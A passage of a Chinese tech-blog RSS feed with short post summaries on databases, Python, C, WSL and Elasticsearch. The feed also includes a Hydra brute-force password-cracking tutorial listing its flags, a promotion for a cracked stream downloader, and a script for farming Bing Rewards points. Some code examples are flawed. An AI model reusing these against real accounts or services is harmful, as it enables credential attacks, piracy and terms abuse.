OgreBites::ApplicationContextQt::windowResized(win); Ogre::Real hw = win-&amp;gt;getWidth() * 0.</description>
    </item>
    <item>
      <title>MYSQL数据库-数据库的学习</title>
      <link>https://bchobby.github.io/posts/0eb90930b0dd35d7ba526baa6f34b21f/</link>
      <pubDate>Wed, 19 Jul 2023 19:54:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0eb90930b0dd35d7ba526baa6f34b21f/</guid>
      <description>MYSQL数据库-数据库的学习 MYSQL数据库一、数据库的基本概念二、常见的数据库三、MySQL数据库四、SQL操作五、SQL高级操作六、SQL函数（SQL 拥有很多可用于计数和计算的内建函数) MYSQL数据库 一、数据库的基本概念 1、数据库的英文单词:DataBase 简称 : DB&#xA;2、什么数据库?&#xA;用于存储和管理数据的仓库. 3、数据库的特点&#xA;持久化存储数据的.其实数据库就是要给文件系统方便存储和管理数据使用了统一的方式操作数据库 – SQL 二、常见的数据库 1、关系型数据库：MySQL（免费）、Orcale（收费）、SQL Server（免费）&#xA;2、非关系型数据库：Redis、MongBD、Hbase、CouhDB 等&#xA;三、MySQL数据库 1、创建数据库&#xA;-- 创建数据库 CREATE DATABASE daidai; 2、删除数据库&#xA;-- 删除数据库 DROP DATABASE daidai; 3、创建表&#xA;-- 创建表 CREATE TABLE IF NOT EXISTS `runoob_tbl`( `runoob_id` INT AUTO_INCREMENT, `runoob_title` VARCHAR(100) NOT NULL, `runoob_author` VARCHAR(40) NOT NULL, `submission_date` DATE, PRIMARY KEY ( `runoob_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8; -- 如果你不想字段为 NULL 可以设置字段的属性为 NOT NULL， 在操作数据库时如果输入该字段的数据为NULL ，就会报错。 -- AUTO_INCREMENT定义列为自增的属性，一般用于主键，数值会自动加1。 -- PRIMARY KEY关键字用于定义列为主键。 您可以使用多列来定义主键，列间以逗号分隔。 -- ENGINE 设置存储引擎，CHARSET 设置编码。 4、删除表</description>
    </item>
    <item>
      <title>全网视频下载器：Keep Streams 中文激活版，可下Netflix、Disney&#43;等视频</title>
      <link>https://bchobby.github.io/posts/da9aebbeec69b89db625c56cdad0c2a4/</link>
      <pubDate>Wed, 19 Jul 2023 16:15:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da9aebbeec69b89db625c56cdad0c2a4/</guid>
      <description>Keep Streams是一款功能强大的在线视频下载工具，它能够帮助用户从各种视频分享网站上下载视频并保存到本地。KeepStreams 提供了简洁易用的界面和丰富的功能，让用户能够轻松快捷地下载自己喜欢的视频。首先，KeepStreams 支持下载的视频网站非常广泛，包括知名的视频分享网站如YouTube、TikTok、Instagram、Facebook、Twitter 等等。不仅如此，它还支持国内外各大视频平台，如爱奇艺、腾讯视频、优酷、芒果TV等等。无论是国内还是国外的视频，KeepStreams 都能轻松应对，让用户畅快地下载自己喜欢的视频内容。&#xA;软件特点 其次，KeepStreams 具备多种下载模式，用户可以根据自己的需求选择不同的下载方式。首先，KeepStreams 提供了批量下载功能，用户可以将多个视频链接一次性粘贴到软件中，然后一键下载，省去了一个个链接逐个下载的麻烦。其次，KeepStreams 还支持选择下载视频的质量，用户可以根据自己的网络条件和存储空间选择高清、标清等不同的分辨率，满足不同需求。此外，KeepStreams 还提供了音频提取功能，用户可以将视频中的音频提取出来保存为音频文件，方便在其他设备上播放。&#xA;除了以上功能，KeepStreams 还拥有一些实用的辅助工具，让用户能够更好地管理和组织下载的视频。首先，KeepStreams 提供了视频格式转换功能，用户可以将下载的视频文件转换为其他格式，以适应不同的播放设备。其次，KeepStreams 还支持视频剪辑功能，用户可以对下载的视频进行剪辑，裁剪出自己想要的片段，并保存为新的视频文件。此外，KeepStreams 还提供了视频管理功能，用户可以对下载的视频进行分类、重命名、添加标签等操作，方便用户整理和管理视频资源。&#xA;下载地址：https://soft.macxf.com/soft/3643.html?id=MzE5MTM%3D</description>
    </item>
    <item>
      <title>Python实现办公自动化的数据可视化与报表生成</title>
      <link>https://bchobby.github.io/posts/ec9c5b4e28bc3e082b1825b8b9035b23/</link>
      <pubDate>Wed, 19 Jul 2023 16:07:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec9c5b4e28bc3e082b1825b8b9035b23/</guid>
      <description>引言：在现代办公环境中，数据处理和报表生成是一项重要的任务。然而，手动处理大量数据和生成报表是一项繁琐且容易出错的工作。幸运的是，Python提供了强大的工具和库，可以帮助我们实现办公自动化，从而提高工作效率和准确性。本文将高效介绍如何使用Python进行数据可视化和报表生成，让您的办公工作更加顺利。&#xA;一、数据可视化 数据可视化是将数据以图表、图形或其他可视化形式展示的过程。通过数据可视化，我们可以更敏锐地理解数据的特征和趋势，从而做出更明智的决策。Python提供了多种强大的库，如Matplotlib和Seaborn，可以帮助我们实现数据可视化。&#xA;Matplotlib Matplotlib是一个功能强大的绘图库，可以提供不同类型的图表，如折线图、柱状图、散点图等。以下是一个简单的例子，展示了如何使用Matplotlib不同折线图： import matplotlib.pyplot as plt # 数据 x = [1, 2, 3, 4, 5] y = [10, 8, 6, 4, 2] # 绘制折线图 plt.plot(x, y) # 添加标题和标签 plt.title(&#39;折线图示例&#39;) plt.xlabel(&#39;X轴&#39;) plt.ylabel(&#39;Y轴&#39;) # 显示图表 plt.show() Seaborn Seaborn是一个基于Matplotlib的数据可视化库，提供了更高级的统计图表和美观的默认样式。以下是一个简单的例子，展示了如何使用Seaborn的异构柱状图： import seaborn as sns # 数据 x = [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;] y = [10, 8, 6, 4] # 绘制柱状图 sns.barplot(x, y) # 添加标题和标签 plt.title(&#39;柱状图示例&#39;) plt.xlabel(&#39;X轴&#39;) plt.ylabel(&#39;Y轴&#39;) # 显示图表 plt.show() 二、报表生成 报表生成是一个数据整理并以格式化的形式呈现的过程。Python也提供了很多库，如Pandas和Openpyxl，可以帮助我们处理和生成报表。</description>
    </item>
    <item>
      <title>【Microsoft Remote Desktop For Mac在Mac上远程Windows桌面】</title>
      <link>https://bchobby.github.io/posts/2af5888c6dd85ecc462e871d1e860fda/</link>
      <pubDate>Wed, 19 Jul 2023 13:06:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2af5888c6dd85ecc462e871d1e860fda/</guid>
      <description> Microsoft Remote Desktop For Mac在Mac上远程Windows桌面 Microsoft Remote Desktop For Mac下载链接发牢骚版本说明（所有下载均为beta版）下载网站截图 Microsoft Remote Desktop For Mac 使用一些网络远程软件，例如向日*、TOdes*、TV等等，都需要两端（客户端、服务端）安装，而windows的mstsc是不需要安装的，只需要客户端有就可以了。但是Mac OS没有mstsc客户端，找了好久才找到，最主要是免费（穷）！&#xA;下载链接 老规矩，废话不多说，先上链接。&#xA;Microsoft Remote Desktop For Mac（下载链接）&#xA;https://install.appcenter.ms/orgs/rdmacios-k2vy/apps/microsoft-remote-desktop-for-mac/distribution_groups/all-users-of-microsoft-remote-desktop-for-mac&#xA;发牢骚 但在Mac OS系统中，没有mstsc客户端，APP store中有好多花钱的这种客户端（好贵），微软自己出了一款用于Mac OS的mstsc客户端，也就是Microsoft-Remote-Desktop-For-Mac，但是不知道为什么 Mac OS的apple store 不给下载，忍不住骂娘，然后国内的好多Mac OS软件网站下载这个还需要积分、花钱之类的，忍不住又要骂娘！一气之下（主要是穷），我找了好久才找到这个客户端的下载地址。所以各位就自己到官方的APP站点下载，然后安装（我感觉安装不用给各位出教程了，都已经是要用这个APP了，肯定对于安装软件门清了，实在不行，自己再百度搜一下安装教程就行了）。&#xA;版本说明（所有下载均为beta版） 因为正式版客户端找不到，只能找到测试版（beta版本），反正都是一样用，我用了好久都没发现有什么BUG出现。就算出现BUG，也无非就是重新连接一次，没什么大不了的事情。&#xA;下载网站截图 </description>
    </item>
    <item>
      <title>bat调用anconda环境运行python</title>
      <link>https://bchobby.github.io/posts/4c731a31ff78ed53b21e844278b76839/</link>
      <pubDate>Wed, 19 Jul 2023 12:38:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c731a31ff78ed53b21e844278b76839/</guid>
      <description> 右键Anaconda Prompt (anaconda3)打开属性，找到目标中的内容&#xA;%windir%\System32\cmd.exe &#34;/K&#34; C:\anaconda3\Scripts\activate.bat C:\anaconda3 拷贝出 “/K” 后面的字符串，编写如下的bat文件。直接执行即可。&#xA;CALL C:\anaconda3\Scripts\activate.bat C:\anaconda3 python new_folder.py python change_date.py </description>
    </item>
    <item>
      <title>两数求最大公因数的方法(基于c语言编程）</title>
      <link>https://bchobby.github.io/posts/27360bdd08cd1246f5ba06269a0fcafa/</link>
      <pubDate>Wed, 19 Jul 2023 11:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27360bdd08cd1246f5ba06269a0fcafa/</guid>
      <description> 一、枚举寻找法 1.简要阐述 这个方法相对容易理解，并且方便记忆，但效率较低，因为毕竟这是暴力枚举。逻辑其实就是两个数字找出其中的较小数，从这个数依次减一，在两个数字同时整除一个数的时候，将其输出，这便是二者的最大公约数。&#xA;2.相关代码 为方便得到结果，不妨直接取84和32。&#xA;#include &amp;lt;stdio.h&amp;gt; int main(void) { int a=84,b=32; int i; for(i=32;i&amp;gt;=1;i--) { if(a%i==0&amp;amp;&amp;amp;b%i==0) { printf(&#34;%d&#34;,i); break; } } return 0; } 二、辗转相除法 1.推导过程 需求a，b两数的最大公因数，假设a大于b，因此便设a=b*m+r (r&amp;lt;b)，m为a除以b所得商，r为对应余数，我们希望存在一个等式，使等式两边的数字呈整数倍的关系，因此希望找到一种迭代的方式来求解，这其实就是辗转相除法的主要核心方法，所以证明过程也要向这个方向上靠近。&#xA;不妨令a与b的最大公因数为c，然后用p，q两整数表示出a和b，即a=p*c，b=q*c，然后将这两个关系式代入a=b*m+r，得p*c=q*m*c+r，移项得r=(p-qm)*c，观察比较二式b=q*c和r=(p-qm)*c可知，b和r的最大公约数C是大于等于c的，由式子a=b*m+r可知，a也有一个因数是C，已知a与b的最大公因数为c，因此c大于等于C，与“b和r的最大公约数C是大于等于c的”条件结合可得，c等于C，所以证明出了a，b与b，r的最大公因数是一样的。&#xA;接下来其实就是辗转相除法的运用的理解，就是用除数代替被除数，余数代替除数，以此为迭代公式进行运算，直至运算后余数为0，此时的除数就是要求的最大公因数。&#xA;我们可以用一个流程图更为直观的看出迭代过程。&#xA;原来找到了一个不太正确的图更能说明辗转相除法的优势，就是不用像第一个方法去找哪个数小，在迭代过程中这一步可以自然地去实现。 2.相关代码 #include &amp;lt;stdio.h&amp;gt; int main(void) { int a,b,r; scanf(&#34;%d%d&#34;,&amp;amp;a,&amp;amp;b); r=a%b; while(r!=0) { r = a%b; a = b; b = r; } printf(&#34;%d\n&#34;,a); return 0; } 因为一开始写这个代码就是根据之前推导过程写的，因此一开始我直接输出的是b，所以想再简单说明一下，while循环结束的标志是r变为0，但结束的前一个循环运算已经是a，b可以整除了，即r=0，该次循环中将b，即最大公约数的值赋给了a，r的0值赋给了下一个状态下的b，但我们其实要的应该是a，将其输出就可以了。 </description>
    </item>
    <item>
      <title>搜索&#43;白嫖——微软 Rewards 奖励积分计划</title>
      <link>https://bchobby.github.io/posts/e2c482c7395d228fccb29fda81dc1332/</link>
      <pubDate>Wed, 19 Jul 2023 08:02:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2c482c7395d228fccb29fda81dc1332/</guid>
      <description>📢欢迎点赞 ：👍 收藏 ⭐留言 📝 如有错误敬请指正，赐人玫瑰，手留余香！&#xA;📢本文作者：由webmote 原创&#xA;📢作者格言：新的征程，我们面对的不是技术而是人心，人心不可测，海水不可量，唯有技术，才是深沉黑夜中的一座闪烁的灯塔 ！&#xA;1. 搜索有奖 去年的时候，某天，加入了Microsoft Rewards计划，这是个免费计划，可奖励你每天执行的操作以及分配给你的简单任务，你需要做的事情，大概就是点点点了。&#xA;计划的积分获取，一般来自在 Bing.com 上搜索，或者从 Microsoft Store 在线商店和 Windows 10/11 中购买商品、以及在 Xbox 上玩游戏时，可获得积分。&#xA;当然注意浏览 “奖励”页面，微软每天在其中添加新的赚取方式。&#xA;在bing网站上，会显示你的积分，如下：&#xA;点击积分图标，会显示需要完成的任务。当然，你看心情完成吧。&#xA;2.积分兑换 最直接的奖励就是：积分满9600，可以兑换50元京东卡。&#xA;3. 挣积分 积分的获取有下列免费的途径，按照这个列表，看来我速度慢了。&#xA;4.hack手段 有人写了脚本，不知道效果如何。&#xA;import webbrowser import time url = &#34;https://www.bing.com/search?q=&#34; ch = &#39;A&#39; # 100 pts for i in range(0, 20): webbrowser.open(url+ch, new=0) # webbrowser.open(url+ch+ch, new=0) | uncomment for days # time.sleep(1.5) | with double points ch = chr(ord(ch) + 1) time.</description>
    </item>
    <item>
      <title>Python算法笔记（2）-初识数据结构-数组、链表、栈、队列、哈希表</title>
      <link>https://bchobby.github.io/posts/69044849af6190ab000a7f2b37442598/</link>
      <pubDate>Wed, 19 Jul 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69044849af6190ab000a7f2b37442598/</guid>
      <description>1.数组 什么是数组 数组是一种数据结构，用来存储多个相同类型的数据，数组中元素是有序，通过下标来进行访问，数组元素中具有相同数据类型，可以由不同的下标和统一数组名来确定数组的唯一元素。&#xA;数组怎么用 一般数组形式为：dataType arrayName[length];&#xA;其中datatype是数据类型比如，int、float这些数据类型&#xA;arrayname则是数组的名称&#xA;length是数组的长度&#xA;比如int abc[4]就是定义了一个数组名为abc，长度为4的整形数组&#xA;也可以给数组赋值例如abc[0] = 123,就是给abc中第一个元素赋值为123&#xA;也可以同时给数组内所有元素赋值int abc[2] = {0,1,2}&#xA;如果数组的元素个数少于数组长度会自动赋值和初始化。&#xA;1.读取数组 abc = [1,2,3,4,5]&#xA;读取元素&#xA;abc = [1,2,3,4] print(abc[3]) 更新元素&#xA;abc = [1,2,3,4] abc[3] = 120 print(abc[3]) 2.插入元素 尾部插入&#xA;abc = [1,2,3,4] abc.append(150) print(abc) 中间插入&#xA;abc = [1,2,3,4] abc.insert(2,120) print(abc) 超范围插入&#xA;当数组超过插入范围时，这时候如果继续往数组内插入元素，会出现数组越界，为了能让数组在超过范围内进行插入就叫做超范围插入，但在python中这样不会出现数组异常，因为python会将超范围的数组在尾部进行插入&#xA;当只有4个元素，向其中插入第五个元素&#xA;当只有4个元素，向其中第99插入第五个元素&#xA;abc= [1,2,3,4] abc.insert(100,120) print(abc) 删除元素&#xA;abc= [1,2,3,4] abc.remove(4) print(abc) 数组的优点和缺点 优点缺点1.按照索引查询速度快，可以实现随机访问根据内容查找元素速度慢，需要遍历整个数组2.能够储存大量数据，占用空间小数组大小无法改变，会造成空间浪费3.可以根据索引快速遍历引用，可以用循环语句数组只能存储一种类型的数据，无法去适应各种类型数据的存储需求4.数组定义简单，访问方便增加和删除元素效率低，需要移动很多数据 2.链表 什么是链表 链表是一种数据结构，它由一系列的结点组成，每个结点包含一个数据域和一个指针域。数据域存储数据元素，指针域存储下一个结点的地址。链表的优点是可以动态地增加或删除结点，不需要连续的内存空间。链表的缺点是访问数据时需要从头结点开始遍历，效率较低&#xA;链表怎么用 下面以这四种为内容，分别简要介绍</description>
    </item>
    <item>
      <title>初识C语言——关键字static的作用</title>
      <link>https://bchobby.github.io/posts/3ca5832d95d74e2137bb7fe2d1d06c3e/</link>
      <pubDate>Tue, 18 Jul 2023 21:45:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ca5832d95d74e2137bb7fe2d1d06c3e/</guid>
      <description>文章目录 （1）.static修饰局部变量（2）.static修饰全局变量（3）.static修饰函数 在C语言中，关键字static通常用来修饰变量和函数 1. 修饰局部变量-称为静态局部变量&#xA;2. 修饰全局变量-称为静态全局变量&#xA;3. 修饰函数-称为静态函数 （1）.static修饰局部变量 下面我们通过两段代码来理解static修饰局部变量的意义。&#xA;//代码1 #include &amp;lt;stdio.h&amp;gt; void test() { int i = 0; i++; printf(&#34;%d &#34;, i); } int main() { int i = 0; for (i = 0; i &amp;lt; 10; i++) { test(); } return 0; } //代码2 #include &amp;lt;stdio.h&amp;gt; void test() { //static修饰局部变量 static int i = 0; i++; printf(&#34;%d &#34;, i); } int main() { int i = 0; for (i = 0; i &amp;lt; 10; i++) { test(); } return 0; } 大家可以自己先思考一下答案，这两段代码有什么不同的地方，输出结果分别是什么，会有什么不一样？</description>
    </item>
    <item>
      <title>android Platform-Tools删除了 Systrace 工具 下载Systrace 工具</title>
      <link>https://bchobby.github.io/posts/2dbd50705a3009c0d7868279692cc9e2/</link>
      <pubDate>Tue, 18 Jul 2023 20:47:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dbd50705a3009c0d7868279692cc9e2/</guid>
      <description>google 在Platform-Tools删除了Systrace 工具，推荐使用&#xA;但是我想要使用Systrace 工具 直接上链接 https://dl.google.com/android/repository/platform-tools_r31.0.3-windows.zip</description>
    </item>
    <item>
      <title>Python算法笔记（1）-时间复杂度、空间复杂度</title>
      <link>https://bchobby.github.io/posts/e4366c76813cfa88fc9de85ea98ab28b/</link>
      <pubDate>Tue, 18 Jul 2023 20:10:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4366c76813cfa88fc9de85ea98ab28b/</guid>
      <description>Python算法笔记（1）-时间复杂度&#xA;1.时间复杂度 时间复杂度是一个描述算法的运行时间的一个函数，它描述了算法的运行时间和输入数据的规模之间的关系，时间复杂度的表示方法用O表示，时间复杂度也用来考察输入值无限趋近无穷时的情况。&#xA;一：常量阶 O(1) 当执行次数为n时表示常量阶&#xA;def person(n): print(&#34;有%d个人&#34; % n) if __name__ == &#39;__main__&#39;: person(3) 二：对数阶 O(logn) 当执行5logn次数是对数计算时&#xA;def person(n): while n&amp;gt;1: print(&#34;有%d个人&#34; % n) print(&#34;他们都走了&#34;) n /= 2 if __name__ == &#39;__main__&#39;: person(10) 三：线性阶 O(n) 3n次计算时是线性&#xA;def person(n): for i in range(n): print(&#34;有%d个人&#34; % n) print(&#34;他们都走了&#34;) if __name__ == &#39;__main__&#39;: person(2) 四：线性对数阶 O(nlogn) def person(n): while n &amp;gt; 1: print(&#34;有%d个人&#34; % n) print(&#34;他们都走了&#34;) n*(n/2) if __name__ == &#39;__main__&#39;: person(2) 五：n方阶 O(nⁿ) def person(n): for i in range(1,n): print(&#34;</description>
    </item>
    <item>
      <title>Spring框架概述及核心设计思想</title>
      <link>https://bchobby.github.io/posts/8bccd1628a8bc63d4b97464fa90c1818/</link>
      <pubDate>Tue, 18 Jul 2023 19:05:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bccd1628a8bc63d4b97464fa90c1818/</guid>
      <description>文章目录 一. Spring框架概述1. 什么是Spring框架2. 为什么要学习框架？3. Spring框架学习的难点 二. Spring核心设计思想1. 容器是什么？2. IoC是什么？3. Spring是IoC容器4. DI（依赖注入）5. DL（依赖查找） 一. Spring框架概述 1. 什么是Spring框架 我们通常所说的 Spring 指的是 Spring Framework（Spring 框架），它是⼀个开源框架，有着活跃而庞大的社区，这就是它之所以能长久不衰的原因；Spring 支持广泛的应用场景，它可以让 Java 企业级的应用程序开发起来更简单。&#xA;用⼀句话概括 Spring：Spring 框架是包含了众多工具方法的 IoC 容器。&#xA;2. 为什么要学习框架？ 因为学习框架相当于从“小作坊”到“工厂”的升级，小作坊什么都要自己做，工厂是组件式装配，特点就是高效。&#xA;框架更加易⽤、简单且高效。&#xA;Servlet有以下痛点：&#xA;添加外部 jar 不⽅便，容易出错，比如添加了⼀个不匹配的外部 jar 版本。运行和调试的时候需要配置 Tomcat 不⽅便。发布不方便，Servlet 项目必须依靠外置的 Tomcat（外置的 Web 容器）运行。路由配置不方便，⼀个访问地址对应⼀个 Servlet 类。… 而 Spring Boot 相比于 Servlet 具备以下优点：&#xA;快速添加外部 jar 包。调试项目更方便，无需配置 Tomcat，点击“运行”按钮就可以直接运行项目，因为 Spring Boot 内置了 Tomcat 容器可直接运行，但是 Servlet 需外挂 Tomcat。发布项目更加方便，无需配置 Tomcat，使用 java -jar 方式就可以发布。对象自动装配。添加路由更加方便，无需每个访问地址都添加⼀个类。… 3.</description>
    </item>
    <item>
      <title>手动安装WSL（适用于 Linux 的 Windows 子系统）</title>
      <link>https://bchobby.github.io/posts/83c26bd26e4b7f081938589a2c7b7c1c/</link>
      <pubDate>Tue, 18 Jul 2023 18:12:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83c26bd26e4b7f081938589a2c7b7c1c/</guid>
      <description>BG-废话不多说，直接上干货&#xA;一、安装WSL&#xA;（一）手动安装&#xA;1、启用适用于 Linux 的 Windows 子系统&#xA;以管理员身份打开 PowerShell（“开始”菜单 &amp;gt;“PowerShell” &amp;gt;单击右键 &amp;gt;“以管理员身份运行”），然后输入以下命令： dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart 2、检查运行 WSL 2 的要求（直接跳过此步骤亦可）&#xA;对于 x64 系统：版本 1903 或更高版本，内部版本为 18362.1049 或更高版本。对于 ARM64 系统：版本 2004 或更高版本，内部版本为 19041 或更高版本。或 Windows 11。 3、启用虚拟机功能&#xA;安装 WSL 2 之前，必须启用“虚拟机平台”可选功能。 计算机需要虚拟化功能才能使用此功能。&#xA;以管理员身份打开 PowerShell 并运行： dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart 重新启动计算机，以完成 WSL 安装并更新到 WSL 2。 4、下载 Linux 内核更新包&#xA;（1）下载最新包：&#xA;适用于 x64 计算机的 WSL2 Linux&#xA;内核更新包使用的是 ARM64 计算机，请下载 ARM64</description>
    </item>
    <item>
      <title>VMWare 虚拟机如何扩展磁盘空间并挂载到已存在的根目录</title>
      <link>https://bchobby.github.io/posts/61c39f16482c11e61cad2beae5040300/</link>
      <pubDate>Tue, 18 Jul 2023 17:47:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61c39f16482c11e61cad2beae5040300/</guid>
      <description>（1）首先将虚拟机关闭，然后选中虚拟机，点击【编辑虚拟机设置】&#xA;（2）然后选中磁盘，点击【扩展】&#xA;（3）比如扩展到50G，点击【扩展】&#xA;（4）出现如下提示，然后点击【确定】&#xA;（5）点击【确定】&#xA;（6）然后启动虚拟机&#xA;（7）登录虚拟机后使用如下命令查看磁盘&#xA;fdisk -l 结果如下：&#xA;（8）通过如下命令查看根目录&#xA;df -h 执行结果如下，即此时新增的20G尚未挂载到根目录下&#xA;（9）然后参照如下命令创建分区，具体输入在如下的注释中详细说明然后参照如下命令创建分区，具体输入在如下的注释中详细说明&#xA;[root@centos7-1 ~]# fdisk /dev/sda 欢迎使用 fdisk (util-linux 2.23.2)。 更改将停留在内存中，直到您决定将更改写入磁盘。 使用写入命令前请三思。 命令(输入 m 获取帮助)：m # 输入m查看帮助命令 命令操作 a toggle a bootable flag b edit bsd disklabel c toggle the dos compatibility flag d delete a partition g create a new empty GPT partition table G create an IRIX (SGI) partition table l list known partition types m print this menu n add a new partition o create a new empty DOS partition table p print the partition table q quit without saving changes s create a new empty Sun disklabel t change a partition s system id u change display/entry units v verify the partition table w write table to disk and exit x extra functionality (experts only) 命令(输入 m 获取帮助)：n # 输入n创建新的分区 Partition type: p primary (3 primary, 0 extended, 1 free) e extended Select (default e): p # 输入p，即primary类型 已选择分区 4 # 这里因为只有一个primary类型了，因此此处不需要选择，直接使用默认的4了 起始 扇区 (62914560-104857599，默认为 62914560)： # 输入回车，保持默认即可 将使用默认值 62914560 Last 扇区, +扇区 or +size{K,M,G} (62914560-104857599，默认为 104857599)： # 输入回车，保持默认即可 将使用默认值 104857599 分区 4 已设置为 Linux 类型，大小设为 20 GiB 命令(输入 m 获取帮助)：w # 输入w，保存并退出 The partition table has been altered!</description>
    </item>
    <item>
      <title>ElasticSearch入门篇</title>
      <link>https://bchobby.github.io/posts/d4084dccad44be33c35f3b7da86df3f6/</link>
      <pubDate>Tue, 18 Jul 2023 14:42:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4084dccad44be33c35f3b7da86df3f6/</guid>
      <description>本章将介绍：ElasticSearch的作用，搭建elasticsearch的环境（Windows/Linux），ElasticSearch集群的搭建，可视化客户端插件elasticsearch-head的安装及使用，对IK分词器的安装及使用；本章介绍的ElasticSearch操作基于Restful形式（使用http请求的形式）&#xA;笔记记录&#xA;1.ElasticSearch简介 Elaticsearch，简称为es， es是一个开源的高扩展的分布式全文检索引擎，它可以近乎实时的存储、检索数据；本&#xA;身扩展性很好，可以扩展到上百台服务器，处理PB级别的数据。es也使用Java开发并使用Lucene作为其核心来实&#xA;现所有索引和搜索的功能，但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性，从而让全文搜索变得&#xA;简单。&#xA;1.1ElasticSearch的使用案例 2013年初，GitHub抛弃了Solr，采取ElasticSearch 来做PB级的搜索。 “GitHub使用ElasticSearch搜索20TB&#xA;的数据，包括13亿文件和1300亿行代码”维基百科：启动以elasticsearch为基础的核心搜索架构SoundCloud：“SoundCloud使用ElasticSearch为1.8亿用户提供即时而精准的音乐搜索服务”百度：百度目前广泛使用ElasticSearch作为文本数据分析，采集百度所有服务器上的各类指标数据及用户自定义数据，通过对各种数据进行多维分析展示，辅助定位分析实例异常或业务层面异常。目前覆盖百度内部20多个业务线（包括casio、云分析、网盟、预测、文库、直达号、钱包、风控等），单集群最大100台机器，200个ES节点，每天导入30TB+数据新浪使用ES 分析处理32亿条实时日志阿里使用ES 构建挖财自己的日志采集和分析体系 1.2 ElasticSearch与solr的对比 Solr 利用 Zookeeper 进行分布式管理，而 Elasticsearch 自身带有分布式协调管理功能;Solr 支持更多格式的数据，而 Elasticsearch 仅支持json文件格式；Solr 官方提供的功能更多，而 Elasticsearch 本身更注重于核心功能，高级功能多有第三方插件提供；Solr 在传统的搜索应用中表现好于 Elasticsearch，但在处理实时搜索应用时效率明显低于 Elasticsearch 安装 ElasticSearch不做过多介绍&#xA;下面直接介绍ElasticSearch概念&#xA;3.ES相关概念 3.1 概述（重要） Elasticsearch是面向文档(document oriented)的，这意味着它可以存储整个对象或文档(document)。然而它不仅&#xA;仅是存储，还会索引(index)每个文档的内容使之可以被搜索。在Elasticsearch中，你可以对文档（而非成行成列的数据）进行索引、搜索、排序、过滤。Elasticsearch比传统关系型数据库如下：&#xA;Relational DB ‐&amp;gt; Databases ‐&amp;gt; Tables ‐&amp;gt; Rows ‐&amp;gt; Columns&#xA;Elasticsearch ‐&amp;gt; Indices ‐&amp;gt; Types ‐&amp;gt; Documents ‐&amp;gt; Fields&#xA;3.2 核心概念 1）index索引- 一个索引就是一个拥有几分相似特征的文档的集合。比如说，你可以有一个客户数据的索引，另一个产品目录的索引，还有一个订单数据的索引。一个索引由一个名字来标识（必须全部是小写字母的），并且当我们要对对应于这个索引中的文档进行索引、搜索、更新和删除的时候，都要使用到这个名字。在一个集群中，可以定义任意多的索引。可类比mysql中的数据库&#xA;2）type类型 在一个索引中，你可以定义一种或多种类型。一个类型是你的索引的一个逻辑上的分类/分区，其语义完全由你来定。通常，会为具有一组共同字段的文档定义一个类型。比如说，我们假设你运营一个博客平台并且将你所有的数据存储到一个索引中。在这个索引中，你可以为用户数据定义一个类型，为博客数据定义另一个类型，当然，也可以为评论数据定义另一个类型。 可类比mysql中的表&#xA;3)Filed字段 相当于是数据表的字段，对文档数据根据不同属性进行的分类标识 。</description>
    </item>
    <item>
      <title>kali密码攻击之在线攻击hydra</title>
      <link>https://bchobby.github.io/posts/9da65f21f822a65d90312d4bd4dbac68/</link>
      <pubDate>Tue, 18 Jul 2023 14:41:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9da65f21f822a65d90312d4bd4dbac68/</guid>
      <description>hydra与hydra-graphical 1.介绍 Hydra是一款非常强大的暴力破解工具，它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具，主要目的是：展示安全研究人员从远程获取一个系统认证权限&#xA;支持以下协议爆破：&#xA;AFP，Cisco AAA，Cisco身份验证，Cisco启用，CVS，Firebird，FTP，HTTP-FORM-GET，HTTP-FORM-POST，HTTP-GET，HTTP-HEAD，HTTP-PROXY，HTTPS-FORM- GET，HTTPS-FORM-POST，HTTPS-GET，HTTPS-HEAD，HTTP-Proxy，ICQ，IMAP，IRC，LDAP，MS-SQL，MYSQL，NCP，NNTP，Oracle Listener，Oracle SID，Oracle，PC-Anywhere， PCNFS，POP3，POSTGRES，RDP，Rexec，Rlogin，Rsh，SAP / R3，SIP，SMB，SMTP，SMTP枚举，SNMP，SOCKS5，SSH（v1和v2），Subversion，Teamspeak（TS2），Telnet，VMware-Auth ，VNC和XMPP。&#xA;对于 HTTP，POP3，IMAP和SMTP，支持几种登录机制，如普通和MD5摘要等。&#xA;可用于暴力破解各种类型的账户密码&#xA;2.使用方法 语法：hydra 参数 IP 服务 参数： -l login 小写，指定用户名进行破解 -L file 大写，指定用户的用户名字典 -p pass 小写，用于指定密码破解，很少使用，一般采用密码字典。 -P file 大写，用于指定密码字典。 -e ns 额外的选项，n：空密码试探，s：使用指定账户和密码试探 -M file 指定目标ip列表文件，批量破解。 -o file 指定结果输出文件 -f 找到第一对登录名或者密码的时候中止破解。 -t tasks 同时运行的线程数，默认是16 -w time 设置最大超时时间，单位 -v / -V 显示详细过程 -R 恢复爆破（如果破解中断了，下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。） -x 自定义密码。 service：指定服务名，支持的服务跟协议有：telnet，ftp，pop3等等。 注意： 1.自己创建字典,然后放在当前的目录下或者指定目录。 2.参数可以统一放在最后，格式比如hydra ip 服务 参数。 3.</description>
    </item>
    <item>
      <title>shell变量替换以及变量运算基础</title>
      <link>https://bchobby.github.io/posts/c4adf8cc61753c6a111af1ba961958b2/</link>
      <pubDate>Tue, 18 Jul 2023 14:25:00 +0800</pubDate>
